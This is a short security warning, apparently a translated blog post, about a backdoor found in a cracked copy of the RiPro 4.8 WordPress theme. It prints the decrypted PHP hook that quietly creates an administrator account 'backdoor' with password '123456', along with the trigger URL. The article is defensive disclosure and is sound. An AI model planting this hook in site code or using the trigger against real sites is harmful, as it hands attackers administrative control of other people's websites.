Cracked version of ripro Theme contains backdoor, be careful if you downloaded and used it

The ripro theme is a premium theme created by a Chinese developer. Many webmasters like the ripro theme but are reluctant to pay for the genuine version, so they download a cracked version of the ripro theme from the internet. The latest ripro theme 4.8 cracked version has been reported to contain a backdoor. If you are using it, check it immediately.

The file containing the backdoor in the cracked ripro theme is located at:

RiPro4.8/wp-content/theme/ripro/inc/class/core.class.php

This file is encrypted, and the decrypted content is as follows:

add_action('wp_head', 'wp_backdoor');
function wp_backdoor()
{
        if (md5($_GET['backdoor']) == '34d1f91fb2e514b8576fab1a75a89a6b') {
                require('wp-includes/registration.php');
                if (!username_exists('backdoor')) { //检测是否存在backdoor账户
                        $user_id = wp_create_user('backdoor', '123456'); //创建账户
                        $user = new WP_User($user_id);
                        $user->set_role('administrator'); //设置为管理员权限
                }
        }
}

The function of this code is:

Access via http(s)://yourdomain.com/?backdoor=go, automatically creates an admin account with username backdoor and password 123456

Therefore, for the security of your website,building your own websiteIt is best not to use cracked themes.

If a theme downloaded from the internet contains encrypted files, there is a high probability that something malicious is hidden inside.

Learn MoreWordPress Security.

Original:52PoJie